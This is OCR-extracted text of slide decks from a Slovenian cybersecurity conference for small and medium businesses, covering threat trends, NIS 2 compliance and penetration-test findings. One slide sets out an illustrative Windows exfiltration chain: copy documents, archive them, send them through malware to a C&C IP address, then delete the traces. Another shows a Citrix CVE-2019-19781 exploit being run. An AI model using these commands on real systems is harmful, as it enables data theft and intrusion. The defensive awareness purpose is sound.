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AGENDA

09:00- Uvodni nagovor

03:10 Marjana Majeric, izvrSna direktorica GZS

09:10- Pozdravni nagovor

03:20 Katja Kraskovic, direktorica in dekanja na Gea College - Fakulteti za podjetnistvo in aktivna Clanica Sekcije za
kibernetsko varnost

09:20- Uvodno predavanje 1: Shielding Your Business: Essential Cybersecurity Strategies for SMEs in Europe (English)

03:40 Vencel Cserhati, Vodja za kibernetsko varnost in varstvo zasebnosti, Huawei Technologies Madzarska in regija
Adriatik

09:40- Uvodno predavanje 2: Kako se prakticno odzvati na spremembe v okolju kibernetske varnosti v podjetju?

10:10 Uros Majcen, direktor kibernetske odpornosti, Kontron d.o.o.

10:10- Varnostni pregledi v okoljih operativne tehnologije (OT)

10:30 Boris Krajnc, specialist za kibernetsko varnost, Telekom Slovenije d.d.

10:30- Kaj deluje in kaj ne deluje pri preverjanju kibernetske varnosti v podjetjih?

10:45 Milan Gabor, ustanovitelj in direktor, Viris d.o.o.

10:45- NIS 2 in odpornost na kibernetske groznje — smo pripravljeni na izzive?

11:00

lgor Mlakar, direktor operative, Smart Com d.o.o.
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Essential Cybersecurity Strategies for
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Cybersecurity and Privacy Officer
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,In the world of cyber security, the last thing
you want is to have a target painted on you.”

Tim Cook

........



EU Cyber Threat 1

Landscape - EEee—

Ransomware and Phishing has become the prime
threat for the last years

Cybercriminals are increasingly motivated by

monetization - Non-malicious
threats

Traditional Malware attacks decline observed in 2020 &
2021.

The volume of crypto-jacking infections is record high.

Surge in healthcare sector related data breaches.

- Disinformation - . Sl " -E-mail related
misinformation e : ] threats

Russia-Ukraine, Israel-Palestinian conflicts:
cyberwarfare and disinformation

loT along with mobile networks creates a new wave of NS
’ - Threats against

DDoS attacks. , - Threats against

. . . .. . ilability and '
Spike in non-malicious incidents, human errors still avai:teg:rizy data
dominate the cause of downtimes S
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Cybersecurity Trends
TOP 10
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Impact of
Cyberattacks

,4079810 ‘
= PData breach

190, 1350008, 67507
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= Electric blackouts ,4046964_-:?"‘

406629’

= (Critical infrastructure downtime

= Failure of military equipment

Consequences

Loss of money (stock price fall)

* Loss of reputation
= Theft and misuse of personal, financial or medical information

Safety issues
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How to Protect against Cyber Threats?
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Cybersecurity Culture and Awareness

Culture
« Build a culture from day 1

Sponsorship
« Executive support

» Dedicate someone for cybersecurity or hire a
part time cybersecurity specialist

Continuous education
* Regular trainings

{ 11, "IN  Newsletters

Securlt A areness ; .
NN o y Yva.. Games

g .almng udlnlng trmuung)
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Establishing Processes for Better Protection

Embed security and privacy into the entire software or
product development process

Vulnerability / patch management

» Subscribe to alerts on vulnerabilities and patch critical assets at
the earliest

» Keep all software and sites updated

FRAMEWORK

Incident and breach management

* Have a plan in place to deal with the unwanted scenario of data
breach

)

%

o
%

Vendors, suppliers, subcontractors management

» Carefully select your third parties — do a quick due diligence on
their state of cybersecurity and privacy

&
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@ Se zbornica am @ informatiko in
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How does it look like @ Huawei: End-to-end cyber security
assurance system covers all departments and employees

i 100% of employees IPDRR ABC principle:
Top priority : 170+ local lawyers sign BCGs Assun?e nothiEg.
Adopt high standards Y] .
N 5% of R&D budget Believe no one,
GSPC Accountability system USSR bnio; Check everything
" Major contributor to 800+ HQ experts {0 Improve "Many eyes & many
Built-in strategy security standards P Background ghecks software engineering hands" multi-level
for key positions capabilities verifcation

Strategy & Standards &
governance processes

Laws & regulations Verification

People, Processes and Technology

; - Handling defects & ; : Manufacturing & Supplier
Audits Traceabilit i ervice & deliver o
y vulnerabilities S y logistics management
Intemnal audit _ Product Security Incident Three layers of International Security agreements
: udi ' Software: 1 hour Response 'IYeam approval standards (e.g., ISO with 4,410 suppliers
Third-party audit IT platform 28000 C-TPAT & worldwide
Clislomer audit Hardware: 1 day Responsible disclosure TAPA) I -
i upplier qualification
\Work certificates Auto test equipment pplierq
(ATE)
o Testing of incoming
Digital signatures materials
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Spodbujanj
kibernetske)

varnosti za \
MSP v Evropii

Vodnik z vprasanji in
odgovori

.
Digital \&) eIt ) Digital

Foundation A =
e HUAWEI

Huawei, together with EIT Digital
and the Global Digital Foundation
published a Questions and

Answers guide on how best to
promote cybersecurity for SMEs
in Europe.

OFFICIAL RELEASE:
SLOVENIAN VERSION



CHAPTER

01 WHY WHY ARE SMEs SO IMPORTANT FOR EUROPE?

SMEs
MATTER

- 99Y,

There are 25 million SMEs in Europe. SMEs represent more than
99% of all firms in Europe.

100mil *50%

SMEs employ 100 SMEs contribute to over
million people in half of the EU GDP.
Europe.
SMEs underpin the building of a SMEs are drivers of digital
more innovative society. transformation & economic growth.

« SMEs are being systematically targeted by cyber criminals, and many are
unprepared.

» 57% of SMEs believe that their companies will go out of business as a result of
a cyber attack.

« It's crucial for SMEs to have robust levels of cybersecurity to mitigate
against cyber risk and protect their businesses.

IK I Gg)spo_darska ZdruZenje za
gl ornica informatiko in
horizontalna ovenie telekomunikacije

mreza




WHAT ARE THE KEY CHALLENGES FOR SMEs IN
THE PROMOTION OF HIGHER CYBERSECURITY
STANDARDS AND CYBER SKILLS?

SMEs face cybersecurity challenges such as the
human element, lack of investment, and skills and
competence.

82% of data breaches involve human error,
highlighting the need for cybersecurity
awareness training.

Investment in cybersecurity is crucial for protecting
products and services, yet 93% of SMEs lack
dedicated IT or security personnel.

Access to trained security professionals is also
limited, putting increased responsibility on SME
managers and employees to keep up with the
evolving threat landscape.

The European Cybersecurity Skills Framework
offers tools for HR personnel to better understand
the critical cybersecurity skills required for
recruitment.




WHAT SHOULD SMEs DO TO
REDUCE THE MOST COMMON
TYPES OF CYBER THREATS?

Small and medium-sized enterprises (SMEs) can reduce cyber threats by
implementing the following measures:

Strict access control, including secure password management
with strong, unique passwords and multi-factor authentication
(MFA).

Managing vulnerabilities by identifying and mitigating product
vulnerabilities, applying patches and mitigating measures in a
timely manner, and installing and maintaining antivirus software.

Secure data backup in at least two locations outside of the
corporate network and using full disk encryption to protect
against data loss or theft.

Firewall installation and maintenance to isolate trusted
+ networks from untrusted networks, using a whitelisting approach,
and updating software regularly.

Wireless/Wi-Fi Protected Access (WPA) using WPA3 and a
strong, unique password with Wi-Fi network encryption containing at
least 20 characters.

G




by

EU SUPPORTS CYBERSECURITY for SMEs
THROUGH INVESTMENT AND REGULATION

The Cybersecurity Act 2019 promotes the development of EU-
wide cybersecurity certification schemes.

The NIS2 Directive will require certain important service
operators in the EU to implement security measures and assess
cybersecurity risks of suppliers.

The Cyber Resilience Act (CRA) focuses on improving
cybersecurity for digital products, requiring strict compliance

The EU has allocated €10 billion for cybersecurity collaborative
actions under the Horizon Europe research and innovation
programme.

InvestEU supports stronger cybersecurity value chains in Europe,
and the EU Recovery and Resilience Facility provides additional
investments in cybersecurity.

The European Year of Skills 2023 will develop new
cybersecurity-related initiatives in the area of cyber skKills.

G .




Thank you.

Feel free to contact me on

Linkedin: vencel-cserhati
E-mail: vencel.cserhati@huawei.com

SeKV Gospodarska S
zbornica 4 e za
Sloveniie - informatiko in )
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Kibérnetsim varnost mreza
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kontron

Kako se prakticno odzvati na spremembe v
okolju KV v podjetju?

Uros Majcen, Direktor za kibernetsko odpornost




kontron

UvoD
STATISTIKA 2023

CTI, 10C, CVE, CVSS
ORODJA NISO VEC DOVOLJ
KAJ SMO SE NAUCILI V 2023

KAJ LAHKO PRICAKUJEMO V 2024

27



Attacks always get better; they never get kkontron
worse

» Da se razumemo:

» “Better not worse” pomeni, da se
napadalci izboljsujejo in z tem
napredujejo tudi napadi

» Kdo je to izjavil ?

» Bruce Schneier

» https://www.schneier.com/

» lzjava ze iz julija 2009 in Se kako drzi in to
predavanje bo to pokazalo

ke


https://www.schneier.com/

Nekaj statisticnih podatkov okoli kibernetskih  kontron
hapadov

» Ozremo se na 2022 (Vir: Techopedia)
» Zaznanih je bilo 499 milijonov ransomware napadov
» Phishing ostaja najbolj splosen tip kibernetskega napada z okoli 3.4 milijarde spam
sporoCil dnevno
» Povprecen strosek napada4.5m S

» Zdravstveni sektor je imel najvecje napade in to ze zadnjih 12 let

» Ze zdaj lahko re¢emo, da bo 2023 malo drugaéen zaradi Oday ranljivosti v Move-IT programski
opremi
» In Se ostalo, kot Cisco XE, Citrix, Fortinet...

Footer 29



Nekaj statisticnih podatkov okoli kibernetskih  kontron

napadov: phishing

» Top 10 imen, ki so bila uporabljena v phishing napadih — globalno:
> LinkedIn (52%)
> DHL (14%)

»  Google (7%)

> Microsoft (6%)

»  FedEx (6%)

> WhatsApp (4%)

>  Amazon (2%)

> Maersk (1%)

> AliExpress (0.8%)

> Apple (0.8%)

» V Sloveniji je to malo drugace, ker imamo: banke, Posta SI, FURS ter seveda
nakupi vinjet itd.

Footer

30



Nekaj statisticnih podatkov okoli kibernetski

napadov: ranljivosti

» Seveda, st. 1 dalec spredaj je WordPress z vticniki

Footer
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i ~ 1.6X

WITH PLUGINS

2X

6-10 Plugins 11-20 Plugins 20+ Plugins

NUMBER OF PLUGINS ON WEBSITE

kontron
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Nekaj statisticnih podatkov okoli kibernetskih
hapadov: malware

Top 10 Ransomware in 2022

250 — A\\\

150
100
0
Q1 2022 Q2 2022 Q§2022 Q§2022
—g— LOck Bit —— Hive —@— Blackbasta —g— Conti —a— Vicesociety
—@— Royal —g— Cuba Bian Lian —8— C10p —8— Mount Locker

Footer

kontron
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In seveda, kaj smo v SLO recimo zaznali? <ontron

» Phishing > Spearphishing
» Klasicen nacin detekcije ni vec dovol;
» Potrebno razumevanje komunikacije in legitimnosti vsebine sporocila in posiljateljev
» Se vedno &t. 1 vstopna toc¢ka za napadalce

» Oday ranljivosti
» Igra macke in misi
» CVSS ni dovolj

> Razumevanje konteksta
> Rezultat Log4J: > SBM: software bill of materials

» Ni dovolj samo takojsnje patchiranje ampak je potrebno pogledati ali so ostali kje
zapisi zlorab
> Namenska orodja in izvajanje forenzike

Footer 33



VSTOPNA TOCKA NAPADALCA <ontron

Socialni inzenirning

Skeniranje javnih storitev

e phishing E
* znane ranljivosti * spear phishing :
 0-day ranljivosti * whaling :
* smishing i

34



CTIl, CVE, CVSS, POC kontron

- |
Cyber Threat Intelligence (CTI) Severity ek

CVSS 3.x Severity and Metrics:

M NIST: NVD Base 5core: Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I
» Common Vulnerabilities and Exposures (CVE)

NVD lysts use publicly ilable information to associate vector strings and CVSS scores. We also display any CVSS information provided wit

CVE List from the CNA.

Note: NVD Analysts have published a CVSS score for this CVE based on publicly avail information at the time of analysis. The CNA has not pr

> Common Vulnerability Scoring System (CVSS) e i shecv L

y Proof Of Concept (POC) /tmp python3 CVE-28619-19781.py http://IP_REDACTED:88

1 I - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway
Found by Mikhatll Klyuchnikov

command > id
Adding bookmark X7CINUSTBZJ®.xml
Bookmark added
Result of the command:

@ @ e uild=65534{ nobody) gid=65534(nobody) groups=65534{nobody )
— command > uname -a
- - ' ‘ Adding bookmark C3NLGDF5Q7 xml

Criminals Hacktivists Criminal Competitors Foreign Disgruntled

Hackers Nations Employees ' ; 8 9: Thu Nov 28 11:59:57 PST 2019 root@blr-
i ] 564 amd64

Mass Untargeted Targets Individuals

Vir: https://github.com/mpgn/CVE-2019-19781

35



ANALIZA PODATKOV

Proaktivnho

|OC (Indicator of Compromise)

» DOMENA / URL

> https://www.jcswcd[.]Jcom/?wd=cqyahznz

> IP naslov
> 201.201.100[.]100

> Datoteka

> Invoice.exe

> Proces
> Csrss.exe

> MD5 hash
»  c0202cf6aeab8437c638533d14563d35

kontron

Reaktivno

Napadalec kopira celotno mapo “Documents” v Temp mapo

/C copy C:\Users\Uporabnik\Documents\* C:\Users\Uporabnik\AppData\Local\Temp\* /y

S pomocjo 7zip programa zapakira, skompresira ter zaséiti z geslom celotno
vsebino

/C c:\PROGRA~3\7-Zip\7z.exe a -tzip -pgeslol123@ -v512k C:\Users\Uporabnik\AppData\Local
\Temp\podatki.zip C:\Users\Uporabnik\AppData\Local\Temp\tmp

S pomocjo naloZene zlonemerne programske kode poslje podatke na C&C
streznik

/C C:\Users\Uporabnik\AppData\Local\Folder\Malware.exe 201.201.100.100 C:\Users\Uporabnik\AppData
\Local\Temp\podatki.zip

IzbriSe vse sledi za sabo

/C del C:\Users\Uporabnik\AppData\Local\Temp\podatki.zip /f




ZGOLJ ORODJA DANES NISO VEC DOVOLJ lkontron

Living Off The Land napadi (LOTL) Al napadi

Tech

ChatGPT rival with ‘no ethical
boundaries’ sold on dark web

Tool Used For Used To Used By

PowerShell

Versatile scripting
language and shell
framework for Windows
systems

Execute malicious scripts,
maintain persistence, and
evade detection

LockBit, Vice Society, Royal,
BianLian, ALPHV, Black Basta

Europol warns Al tool is ‘extremely useful’ for cyber criminals

How to get a better response from ChatGPT or Bard

PsExec Lightweight command- Execute commands or LockBit, Royal, ALPHV, Play,
line tool for executing payloads via a temporary BlackByte A ChatGPT-style Al tool with “no ethical boundaries or limitations™ is
processes on remote Windows service offering hackers a way to perform attacks on a never-before-seen scale,
systems researchers have warned.
Cyber security firm SlashNext observed the generative artificial
WMI Admin feature for Execute malicious LockBit, Vice Society, Black intelligence WormGPT being marketed on cybercrime forums on the
7 ’
accessing and managing commands and payloads Basta, Dark Power, ClOp, dark web, describing it as a “sophisticated Al model” capable of
Windows system remotely BianLian producing human-like text that can be used in hacking campaigns.
components “This tool presents itself as a blackhat alternative to GPT models,
designed specifically for malicious activities,” the company explained in a
Mimikatz Open source tool for Extract credentials from LockBit, Black Basta, Cuba, blog post.
Windows security and memory and perform ALPHV “WormGPT was allegedly trained on a diverse array of data sources,

credential management privilege escalation particularly concentrating on malware-related data.”

The researchers conducted tests using WormGP'T, instructing it to

generate an email intended to pressure an unsuspecting account manager
Vir: https://www.malwarebytes.com/blog/business/2023/04/living-off-the-land-lotl-attacks-detecting-ransomware-gangs-hiding-in-plain-sight . . . .
into paving a fraudulent invoice.

Vir: https://www.independent.co.uk/tech/chatgpt-dark-web-wormgpt-hack-b2376627.html 3 7



Vloga Al contron
Vecja kot si mislimo, ceprav ni vidno takoj na prvi pogled

» Vloga Al tako za napadalce kot branilce

» Pri napadalcih:
» Vsakdo, brez vsakrsnega znanja lahko izdela svoj malware z drugacnimi podpisi
> Oblikovanje spearphishing sporocil
> Kombiniranje z avtomatiko napadov
» Pri obrambi:
> Proces vpeljave Al v obrambo se odvija pocasneje kot pri napadalcih

» Vpeljuje se tako v detekcijo, kot pri recimo pocasi pri varnostni analizi kode ali preiskovanju
ranljivosti
> Modeli so tukaj Ze obstajali v preteklosti: supervised in unsupervised machine learning

Footer 38



KAJ SMO SE NAUCILI V 2023 contron

1. Supply Chain napadi

» Oceniti varnostno postavitev svojih dobaviteljey, izvajanje rednih varnostnih revizij

2. Sofisticirani ransomware napadi

> Redni backupi, robustne zascite konc¢nih tock, usposabljanje zaposlenih

3. Alin LOTL napadi

» Vlaganje v orodja in resitve katere delujejo na principu zaznav obnasanja (Behavioral analytics tools)

4. QOzavescanje in usposabljanje

» lzvajanje rednih usposabljanj in simulacij socialnega inZeniringa

5. Proaktivno iskanje grozenj in odzivanje na incidente

» Iskanje IOC in grozenj Se preden se te zgodijo

39



KAJ LAHKO PRICAKUJEMO V 2024

1. Advanced Persistent Threats (APTs)

»  Visoka sofisticiranost, dolgorocni cilji in napredne tehnike napadalcev

2. Vec napadov preko MFA

> Napadalci odkrivajo nove nacine kako vdreti v standardne tehnologije vecfaktorske avtentikacije

3. Kibernetske groznje za mobilne naprave

> Premik iz SMS one time password na MFA aplikacije

4. Ransomware-as-a-Service

> Najbolj izpostavljeni bodo bili zdravstveni, prehranski in energetski sektor

ontron
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Nekaj prakticnih korakov

» Izvajanje osnovnih korakov
» Patching, patching, patching

» Ali vemo kako stojimo?
» Attack Surface Management
> Risk Monitoring
> Vulnerability Scanning

» Vloge in odgovornosti
» NIS 2: seznam dobrih praks

Footer

ontron
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Prakticni koraki pri NIS 2 direktivi

Article 21.2.a

Risk Assessments
& Security Policies

Develop and implement a
Cybersecurity policy framework.
Define roles and responsibilities
with regards to Cybersecurity
Identify and assess the risks posed
to the security of the organization's
network and information systems
Develop measures to manage
those risks

Article 21.2.f

@
Effectiveness of
Security measures

Have policies and procedures for
evaluating the effectiveness of
security measures.

Conduct regular audits and testings

Article 21.2.b

Incident
Management

Establish procedures for the
detection, reporting, and response
to incidents

Develop incident response plans
and procedures

Conduct regular incident response
training and testing

Conduct post-incident analysis and
improvement

Article 21.2.g
2]

Training &
Awareness

Conduct regular Cybersecurity
training

Follow up training with testing to
reenforce learning and establish
success and improvement of
overall training & awareness
program

Article 21.2.c

T
)
&

Business
Continuity

Develop and implement measures
(such as a BC plan, Backup
processes and Crisis
Management) to ensure the
continuity of services in the event
of an incident

Conduct regular business
continuity testing and training

Article 21.2.h
&

Encryption

Use encryption to protect the
confidentiality, integrity, and
authenticity of data

Implement secure key
management practices

Conduct regular encryption testing
and training

Article 21.2.d

g

Suppli/ Chain
Security

Assess the cybersecurity risks to
the organization's supply chain
Implement measures to mitigate
those risks

Conduct regular supply chain risk
assessments and testing

Article 21.2.i

>
HR Security, Access
Control & Asset

Management

Implement security procedures for
employees with access to sensitive
info

Conduct regular access control
testing and training

Get an overview of all relevant
assets and ensure they are
properly utilized and handled

kontron

Article 21.3.e

CY

System acquisition,
development and
maintenance

» Conduct regular vulnerability
scanning and penetration testing

* Implement measures to mitigate
vulnerabilities

» Conduct regular security testing
training on cyber security and
cyber hygiene

Article 21.2,]
=
N
Authentication
solutions and
Information transfer

* Implement MFA or continuous
authentication solutions, voice,
video, and text encryption, and
encrypted internal emergency
communication, when appropriate.
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“I'm applying for the Information Security position.
Here is a copy of my resumé, encoded, encrypted and shredded.”

Footer 43
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and all other trademarks or registered trademarks are the property of their respective owners
and are recognized. Specifications are subject to change without notice.
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[n telekomunikacije mrezZa

Kibernetska varnost

@ Se KV I K I GSSPQdaVSka ZdruZenje za
informatiko in
telekomunikacije

NIS 2 in odpornost
na kibernetske groznje

Smo pripravljeni na izzive?

. . SMART
Ilgor Mlakar, direktor operative
Smart Com d. o. o. ——ee



: : _ SMART
NIS 2 — Namen in pomembni roki

b @,

* Osnovni namen NIS 2 je pospesiti prizadevanja pri vzpostavljanju
visje ravni kibernetske varnosti in odpornosti v organizacijah
Evropske unije.

« 14. 12. 2022 - direktiva (EU) 2022/2555 Evropskega parlamenta in Sveta EU
« 16. 01. 2023 - uveljavitev direktive
«17.10. 2024 - rok za prenos v nacionalno zakonodajo (ZinfV-1)

« 17. 04. 2025 - identifikacija bistvenih in pomembnih subjektov

Prehodni roki?
S e KV I K I Gg) spo_dar‘ska ZdruZenje za
gl ornica informatiko in
ZdruZenje za informatiko ovenie
(n telekomunikacije
Ki tska varnost

horizontalna telekomunikacije



i SMART
NIS 2 — zavezanci

b @,
- Bistveni subjekti (visoko kriticnha infrastr.) 1. Energija
- Pomembni subjekti (drugi kritiéni sektorji) 2. Pronje.tv
Kriterij velikosti 3. Bancnistvo
4. Infrastruktura finanCnega trga
1. PoStne in kurirske storitve 5. Zdravje
2. Ravnanje z odpadki 6. Oskrba s pitno vodo
3. Kemijska industrija /. Ravnanje z odpadnimi vodami
4. Prehranska industrija in distribucija 8. Digitalna infrastruktura
5. Proizvodnja 9. Upravljanje storitev IKT
6. Ponudniki digitalnih storitev 10. Javna uprava
7. Raziskave 11. Vesolje

horizontalna Slovenije telekomunikacije

S &3 KV I K I Gtg’s podarska ZdruZenje za
ornica informatiko in

ZdruZenje za informatiko

(n telekomunikacije

Kibernetska varnost



NIS 2 — obseg

SMART

* NIS (Direktiva (EU) 2016/1148 z dne 6. 7. 2016) - ZIinfV

68 zavezancev

49 — izvajalci bistvenih storitev
18 — organi drzavne uprave
1 — ponudnik digitalnih storitev

* NIS 2 — ZIinfV-1 (ocena)
923 zavezancev
219 — velika podjetja
704 — srednje velika podjetja

ZdruZenje za informatiko
(n telekomunikacije
Kibernetska varnost

horizontalna

Gospodarska
zbornica
Slovenije

Vir: URSIV, 10.10.2023

ZdruZenje za
informatiko in
telekomunikacije



o _ SMART
Poudarek na kljucne oskrbne verige COM

Dobavitelji, ki niso zajeti v podrocCje uporabe NIS 2:

 Ce subjektu NIS 2 zagotavljajo storitve ali izdelke, ki spadajo
VvV podrocCje uporabe,

« stranka (subjekt NIS 2) dobavitelju nalozi minimalno stopnjo
kKibernetske varnosti.

Dobavitelje v zvezi z NIS 2 ne bodo nadzorovali nacionalni
organi, temvec njihovi kupci.

Torej, tudi Ce organizacija ni neposredno v obsegu, lahko glede na

storitev ali sektor stranke, NIS 2 vpliva na njeno poslovanje.

I K I Gospodarska @ 0
zbornica
\

formatiko horizontalna Slovenije MM

ZdruZenje za
informatiko in
telekomunikacije




v SMART
Groznje (obdobje od 2022-07 do 2023-06) COM

Na vrhu so izsiljevalski napadi in napadi na razpolozljivost
® RANSOMWARE

 Phishing predstavlja najbolj pogost vektor napada

@ DATA
Ogrozenost podatkov se vedno narasca W ALWARE

Vpliv geopolitike narasca (prirejanje informacij ...)

— NFOURMATION MANIPULATION ~700

'‘Cheap Fakes' in manipulacija informacij, ki jo omogoca Ul
0.95K (20.09%) © SUPPLY CHAIN ATTACK 2022

Povecana groznja napadov na dobavno verigo — zaposleni kot vstopna tocka

&
SeKV Gospodarska ® ZdruZenje za
glbornlga = = : informatiko in
ZdruZenje za informatiko horizontalna ovenlle S my telekomunikacije

in telekomunikacije
Kibernetska varnost mreza

>2500

0.23K (4.81%)

(8.24%)

ENGINEERING

2023

Vir: ENISA, oktober 2023




_ . . _ SMART
NIS 2 ukrepi za zamejitev grozenj

» Registracija bistvenih in pomembnih subjektov
* |zboljSano sodelovanje (platforma CSIRT)

* PoroCanje o incidentih

* Poudarek na kljuCne oskrbne verige
 DoloCitev sodne pristojnostsi

« Odgovornost vodstva

« Kazni

SeKV I K I GbOSPQdaf'Ska ZdruZenje za
gl ornica informatiko i
ZdruZenje za informatiko ovenije

Komunixkacie



Krogotok za zamejitev varnostnih %MCS\FI&
grozenj znotraj organizacij A,

Strateska raven

« Varnostna strategija organizacije

« QOdlocCitev o naCinu zagotavljanja skladnosti
» Organizacijska strategija - Procesi

» Preverjanje varnostne zrelosti

Prepoznavanje
potreb

FIRUEELIE Oblikovanje
varnostne el Taktiéna raven

zrelosti « Vpeljava organizacijskih sprememb

» Vpeljava procesnih sprememb

* Vpeljava tehnoloskih sprememb

* Preverjanje in poroCanje o spremembah

Operativna raven

Tehnoloski Organizacijski « Izvajanje rednih aktivnosti
ukrepi ukrepi « Porocanje
i Gospodarsk o
arska ot
@ sexv IKT e A
ZdruZenje za informatiko horizontalna Slovenl]e === telekomunikacije
(n telekomunikacije w

Kibernetska varnost mreza

........



SMART

VPRASANJA - ODGOVORI COM
——e-a
KDAJ? CIM PREJ!
ZAKAJ? AKTvUALNE GROZNJE Storitev
KRATEK CAS ZA PRILAGODITVE procesnega
svetovanja
STRATESKE ODLOGITVE za prilagoditev
zahtevam
ZAGOTAVLJANJE SKLADNOST] direktive NIS 2

PRILAGODITEV PROCESQOV
SISTEMSKE RESITVE

IKT




Igor Mlakar

E: igor.mlakar@smart-com.si

www.smart-com.si
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AGENDA

11:30-11:45 | Kaj odkrivamo pri penetracijskih testih? — primeri iz prakse
Bostjan Spehonja, CEO, GO-LIX d.o.0.

11:45-12:00 | Zakaj so pomembne raziskave in razvoj kibernetske varnosti v podjetjih? - primer iz prakse v elektro podjetju
Dr. Andrej Bregar, pomocnik direktorja poslovnega podrocja in Gorazd Rolih, direktor podroc¢ja informacijsko-
kibernetske varnosti, Informatika d.o.o.

12:00-12:15 | Kako analizirati kibernetska tveganja ter ugotovitve prakticno uporabiti?
Marko Zavadlav, visji svetovalec, Actual I.T.

12:15-12:30 | Kaj Al prinasa podrocju kibernetske varnosti? — Primer uporabe Al v obrambnih programih
dr. Blaz Ivanc, SVP Special Security Projects, CREAplus d.o.o.

12:30-12:50 | Zaklju€no predavanje: Prihodnost izobrazevanja iz kibernetske varnosti
izr. prof. dr. Marko Holbl in vodjo projekta izr. prof. dr. Muhamed Turkanovié, Univerza v Mariboru, Fakulteta za
elektrotehniko, racunalnistvo in informatiko

12:50-13:00 | Zakljucek konference
Mihael Nagelj, predsednik Sekcije za kibernetsko varnost, Zdruzenje za informatiko in telekomunikacije pri GZS

SeKV I K I Ggs podarska Zdruzenje za
Zzbornica informatiko in

Zdr r

in telekomunikacij

uZenje za info ‘,':mué.u horizontalna Slovenije telekomunikuct'je
Kibernetska varnost mreza




Organizatorji dogodka:

I @
I K G05pqdarska e ZdruZenje za S e KV
zbornica am @

informatiko in

ho rzo ntalna Slovenije = = = telekomunikacije ZdruZenje za informatiko
mreza in telekomunikacije
"""" Kibernetska varnost

- L] L] - L] - - L]

REPUBLIKA SLOVENIJA %

@ MINISTRSTVO ZA GOSPODARSK
RAZVO] IN TEHNOLOGI)JO

EVROPSKA UNIJA
EVROPSKI SKLAD ZA
REGIONALNI RAZVOJ

un NALOZBA V VASO PRIHODNOST

»Nalozbo sofinancira Evropska unija iz Evropskega sklada za regionalni razvoj«

/Zlata partnerja dogodka:

Sy Telekom

O®r® Slovenije )CREADI—US




ZZZZZZZ

horizontalna Slovenije
mreza

telekomunikacije

@ Se KV I K I GSSPQdarSka ZdruZenje za
informatiko in

Kako se spopastl z aktualnimi
groznjami v kibernetskem
prostoru?

~Aktualni izzivi in resSitve za podjetja™

27. oktober 2023, 9:00-14:00
GZS, Dvorana A

Telekom () crREAPLUS



KAJ ODKRIVAMO PRI
PENETRACIJSKIH TESTIH

+

 01010101010001110101010
e B‘ -

Kako pristor

J

DI IIIINIIIRIINIINININ I IV

ostjan.Spehonja@golix.si

I




©1910600101010001

1@1@]@691@1 Predstavitev

® 2381304
ﬁx_@@@j 0 « CEO @GO-LIX d.o.0

| . Founder @ PHISHSTRIKE @
[ @1@@Q1@1@ * 14 let izkuSenj s podrocja eticnega hekanja in kibernetske varnosti

« Soustanovitelj drustva OWASP Ljubljana GO-LIX
* Soustanovitelj fundacije @ SICEH
m (Slovensko zdruZenje certificiranih eti¢nih hekerjev)
D 010100¢
» Gostujodi strokovnjak @ UM
i @1@{%1@1@ « Predavatelj @Gea-College
| « Varnostni raziskovalec
m » Certified ethical hacker - Master
. « CompTIA Advanced Security Practitioner
2 « CompTIA Cyber Security Analyst+
)‘n - Certified Network Defence Architect /7SN

{Inessus

FUNDAMENTALS

« CompTIA Security+
 Certified ethical hacker
 Practical Network Penetration Tester

CSAP

Security

o

Aralytics

EC-Council EC-Council

Security+

B>

¢ NDA CEH

CERTIFIED CERTIFIED

100010101



KIBERNETSKA VARNOST

IN PENETRACIJSKI TESTI | ECBEALE VAT

SISTEMSKI VARNOSTNI PREGLEDI

Zunaniji varnostni pregledi IzobrazZevanje Eti¢ni heker

Notranji varnostni pregledi Simulacija napadov

Pregledi spletnih strani ter aplikacij s tehnikami socialnega inZeniringa

Pregledi mobilnih aplikacij Aktivno izobrazevanje uporabnikov

Pregledi SCADA sistemov Izobrazevanja na podroéju

Pregledi loT okolij varstva osebnih podatkov

Pregled informacij iz javnih virov
RED teaming

ODZIVI NA KIBERNETSKE VARNOSTNE INCIDENTE VZPOSTAVITEV STRATEGIJE IN
TER FORENZICNA ANALIZA POLITIK KIBERNETSKE VARNOSTI

@ @
Gospodarska ZdruZeni @
) je za
@ SeKV I K I zbornica am & @ informatiko in

ZdruZenje za informatiko horizontalna Slovenije = = = telekomunikacije G, O -LIX

in telekomunikacije
Kibernetska varnost mreza
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Glavne ugotovitve — notranja infrastruktura

* Neustrezna razmejitev WIFI omrezja za goste

B GUEST WIFI
&.m..
\‘/\_n

> ! Smartphone
Laptop Ny 'Tablet PC
- o | r -
Ey ' ]
, : 7
AD Server SPIOp

Slovenije telekomunikacije

S e KV I K I Gg) er);)_darska ZdruZenje za
zoornica informatiko in
druZenje za informatiko
n ikacije
arnos

........



Glavne ugotovitve — notranja infrastruktura

* Prosto dostopni podatki na deljenih datotekah ali aplikaicja

= = | AS6508T-0000 - 0O X
Home Share View o
« v I M Network > AS6508T-0000 » v U | Search AS6508T-0000 P
= Documents ~
- Pictures Backup_Folder Docker Download
D Music
8 Videos Gogs_data Home Media
. & b -
@& OneDrive
~ B This PC Music MyArchive4 Photos
< @/ L <
m Desktop
# Documents Plex PostgreSQL_13 Public
4+ Downloads & & -
D Music
Pict Surveillance Test_Docs TestEncryptFolder
= Pictures o o e
B Videos
2 Local Disk (C) Video VM_data Web
L - -
~ i Network
> W ASE508T-0000 ] Win Shared College
™ DESKTOP-LGART3V “
= VBOXSVR
*4 Homegroup
W
22 items = =
SeKV I K I Gospodarska Zdruenje za
| = informatiko in
ZdruZenje za informatiko horizontalna ovenije telekomunikacije
in telekomunikacije v
Kibernetska varnost mreza



Glavne ugotovitve — notranja infrastruktura

- Sibka/privzeta konfiguracija AD okolja!!
« Odstotnost SMB/LDAP podpisovanja

# shares

ADMINS

&

IPCs

Share

# use Cs

# 1s

drw-rw-rw- =S $Recycle.Bin
drw-rw-rw- :46: $WinREAgent
drw-rw-rw- :04: Documents and Settings
-IW-Iw-rw- 8192 :15: DumpStack.log. tmp
-rw-rw-rw- 1207959552 :15: pagefile.sys
drw-rw-rw- PerfLogs

drw-rw-rw-
drw-rw-rw-
drw-rw-rw-

Program Files
Program Files (x86)
ProgrambData

drw-rw-rw-
drw-rw-rw-
-TW-TW-TW- 1677721
drw-rw-rw-
drw-rw-rw-
drw-rw-rw-

Recovery

Share

swapfile.sys

System Volume Information
Users

Windows

coooooo@

SeKV I K I Gg)spo_dar‘Ska ZdruZenje za
gl ornica informatiko in
horizontalna orene welekomuniiacle

Kibernetska varnost mreza



Glavne ugotovitve — notranja infrastruktura

« Uporaba nesifriranih protokolov

- Sibka gesla @

